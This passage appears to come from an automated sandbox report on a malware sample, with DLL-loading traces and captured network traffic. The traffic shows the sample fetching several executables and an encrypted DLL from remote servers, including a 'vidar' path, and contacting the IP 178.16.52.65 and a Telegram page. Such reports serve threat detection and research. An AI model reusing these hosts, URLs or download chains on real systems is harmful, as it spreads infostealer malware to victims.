"LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005808) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005808) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008164) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008164) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008164) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008164) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006632) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006632) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006632) "net1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006632) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001896) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001896) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001896) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001896) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007720) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007720) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007720) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007720) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000784) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000784) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000784) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000784) "sROBvkl9.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007564) "sROBvkl9.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007564) "sROBvkl9.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007564) "sROBvkl9.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007564) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008072) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008072) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008072) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008072) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007776) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007776) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007776) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007776) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004124) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004124) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004124) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004124) "systemhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007624) "systemhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007624) "systemhelper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007624) "systemhelper.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007624) "systemhelper.exe" called "LoadLibrary" with a parameter HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:11 GMT Content-Type: application/octet-stream Content-Length: 785408 Last-Modified: Tue 24 Feb 2026 10:42:26 GMT Connection: keep-alive ETag: "699d8092-bfc00" Accept-Ranges: bytes with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000....... "GET /test/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:13 GMT Content-Type: application/octet-stream Content-Length: 20000 Last-Modified: Wed 19 Nov 2025 00:53:00 GMT Connection: keep-alive ETag: "691d14ec-4e20" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /vidar/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:15 GMT Content-Type: application/octet-stream Content-Length: 217088 Last-Modified: Tue 24 Feb 2026 10:35:28 GMT Connection: keep-alive ETag: "699d7ef0-35000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/7453936223/5GFpJxh.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:17 GMT Content-Type: application/octet-stream Content-Length: 223744 Last-Modified: Thu 19 Feb 2026 17:25:19 GMT Connection: keep-alive ETag: "6997477f-36a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Host: drive.usercontent.google.com Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream X-GUploader-UploadID: AGQBYWydBd5F-VFaHxvszemDQAJT5mqTi5N4i3yzMQDGvmi0lQMdmK-0F0aySmJeFcAyWz6YOCCoGCI Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="text" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept Accept-Language Authorization Cache-Control Content-Disposition Content-Encoding Content-Language Content-Length Content-MD5 Content-Range Content-Type Date developer-token financial-institution-id X-Goog-Sn-Metadata X-Goog-Sn-PatientId GData-Version google-cloud-resource-prefix linked-customer-id login-customer-id x-goog-request-params Host If-Match If-Modified-Since If-None-Match If-Unmodified-Since Origin OriginToken Pragma Range request-id Signature Signature-Agent Signature-Input Slug Transfer-Encoding User-Agent hotrod-board-name hotrod-chrome-cpu-model hotrod-chrome-processors Want-Digest X-Ad-Manager-Impersonation x-chrome-connected X-ClientDetails X-Client-Pctx X-Client-Version x-debug-settings-metadata X-Firebase-AppId X-Firebase-AppVersion X-Firebase-Locale X-Goog-Firebase-Installations-Auth X-Firebase-Client X-Firebase-Client-Log-Type X-Firebase-GMPID X-Firebase-Auth-Token X-Firebase-AppCheck X-Firebase-RC-Fetch-Type X-Firebase-Token X-Goog-Drive-Client-Version X-Goog-Drive-Resource-Keys X-GData-Client X-GData-Key X-GoogApps-Allowed-Domains X-Goog-AdX-Buyer-Impersonation X-Goog-Api-Client X-Goog-Visibilities X-Goog-AuthUser X-Google-EOM x-goog-ext-124712974-jspb x-goog-ext-467253834-jspb x-goog-ext-353267353-bin x-goog-ext-353267353-jspb x-goog-ext-251363160-jspb x-goog-ext-259736195-jspb x-goog-ext-477772811-jspb x-goog-ext-359275022-bin x-goog-ext-328800237-jspb x-goog-ext-198889211-bin x-goog-ext-202735639-bin x-goog-ext-223261916-bin x-goog-ext-223435598-bin x-goog-ext-233818517-bin x-goog-ext-202964622-bin X-Goog-PageId X-Goog-Encode-Response-If-Executable X-Goog-Correlation-Id X-Goog-Request-Info X-Goog-Request-Reason X-Goog-Request-Time X-Goog-Experiments x-goog-iam-authority-selector x-goog-iam-authorization-token X-Goog-Spatula X-Goog-Travel-Bgr X-Goog-Travel-Settings X-Goog-Upload-Command X-Goog-Upload-Content-Disposition X-Goog-Upload-Content-Length X-Goog-Upload-Content-Type X-Goog-Upload-File-Name X-Goog-Upload-Header-Content-Encoding X-Goog-Upload-Header-Content-Length X-Goog-Upload-Header-Content-Type X-Goog-Upload-Header-Transfer-Encoding X-Goog-Upload-Offset X-Goog-Upload-Protocol x-goog-user-project X-Goog-Visitor-Id X-Goog-FieldMask X-Google-Project-Override x-goog-maps-api-salt x-goog-maps-api-signature x-goog-maps-client-id X-Goog-Api-Key x-goog-spanner-database-role X-HTTP-Method-Override X-JavaScript-User-Agent X-Pan-Versionid X-Proxied-User-IP X-Origin X-Referer X-Requested-With X-Stadia-Client-Context X-Upload-Content-Length X-Upload-Content-Type X-Use-Alt-Service X-Use-HTTP-Status-Code-Override X-Ios-Bundle-Identifier X-Places-Ios-Sdk X-Android-Package X-Android-Cert X-Places-Android-Sdk X-Goog-Maps-Ios-Uuid X-Goog-Maps-Android-Uuid X-Ariane-Xsrf-Token X-YouTube-Bootstrap-Logged-In X-Youtube-Client-Name X-Youtube-Client-Version X-Youtube-Finch-Config-Data X-Youtube-Finch-Hash-Data X-YouTube-Lava-Device-Context X-YouTube-VVT X-YouTube-Page-CL X-YouTube-Page-Label X-YouTube-Page-Timestamp X-Compass-Routing-Destination x-framework-xsrf-token X-Goog-Meeting-ABR X-Goog-Meeting-Botguardid X-Goog-Meeting-Bot-Info X-Goog-Meeting-ClientInfo X-Goog-Meeting-ClientVersion X-Goog-Meeting-Debugid X-Goog-Meeting-Identifier X-Goog-Meeting-Interop-Cohorts X-Goog-Meeting-Interop-Type X-Goog-Meeting-OidcIdToken X-Goog-Meeting-RtcClient X-Goog-Meeting-StartSource X-Goog-Meeting-Token X-Goog-Meeting-Viewer-Token X-Goog-Healthcare-Audit-First-Party-Application-Access Prefer X-Client-Data x-sdm-id-token X-Sfdc-Authorization MIME-Version Content-Transfer-Encoding X-Earth-Engine-App-ID-Token X-Earth-Engine-Computation-Profile X-Earth-Engine-Computation-Profiling X-Play-Console-Experiments-Override X-Play-Console-Session-Id x-alkali-account-key x-alkali-application-key x-alkali-auth-apps-namespace x-alkali-auth-entities-namespace x-alkali-auth-entity x-alkali-client-locale EES-S7E-MODE cast-device-capabilities X-Server-Timeout x-foyer-client-environment x-goog-greenenergyuserappservice-metadata x-goog-sherlog-context X-Server-Token x-rfui-request-context x-goog-nest-jwt X-Cloud-Trace-Context traceparent x-goog-chat-space-id x-goog-pan-request-context X-AppInt-Credentials Access-Control-Allow-Methods: GET HEAD OPTIONS Accept-Ranges: bytes Content-Length: 12 Last-Modified: Sat 07 Feb 2026 07:38:33 GMT Date: Tue 24 Feb 2026 11:10:21 GMT Expires: Tue 24 Feb 2026 11:10:21 GMT Cache-Control: private max-age=0 X-Goog-Hash: crc32c=5u3Fog== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>4147484B41464B45424B4645....... "GET /files/8516978252/RKXRn1l.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:21 GMT Content-Type: application/octet-stream Content-Length: 883712 Last-Modified: Sun 08 Feb 2026 04:57:08 GMT Connection: keep-alive ETag: "698817a4-d7c00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /info HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: 1 Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>66376163506D777550447741534D4E6E4C4A79477A....... "GET /files/gop/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:26 GMT Content-Type: application/octet-stream Content-Length: 217088 Last-Modified: Tue 24 Feb 2026 10:48:24 GMT Connection: keep-alive ETag: "699d81f8-35000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /update HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: 1 Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 99856 Keep-Alive: timeout=5 max=99 Connection: Keep-Alive Content-Type: application/octet-stream with response body ==>01C28123C38DC38EC3ACC280C3A4C392463921C29FC2BD76336400C3B0C3AEC3A34EC2ABC2977C5FC38EC2B564C39F6E1065C2BE6DC2BFC3A9C3A1C3B04DC3AC....... "GET /files/mr/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:29 GMT Content-Type: application/octet-stream Content-Length: 217088 Last-Modified: Tue 24 Feb 2026 10:46:45 GMT Connection: keep-alive ETag: "699d8195-35000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /files/6608710704/6url4X8.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Tue 24 Feb 2026 11:10:35 GMT Content-Type: application/octet-stream Content-Length: 223744 Last-Modified: Thu 19 Feb 2026 17:48:31 GMT Connection: keep-alive ETag: "69974cef-36a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /service HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Feb 2026 11:10:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /pr55ii HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue 24 Feb 2026 11:10:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12344 Connection: keep-alive Set-Cookie: stel_ssid=863a31c635ca3e8793_8461380826647759634; expires=Wed 25 Feb 2026 11:10:38 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: 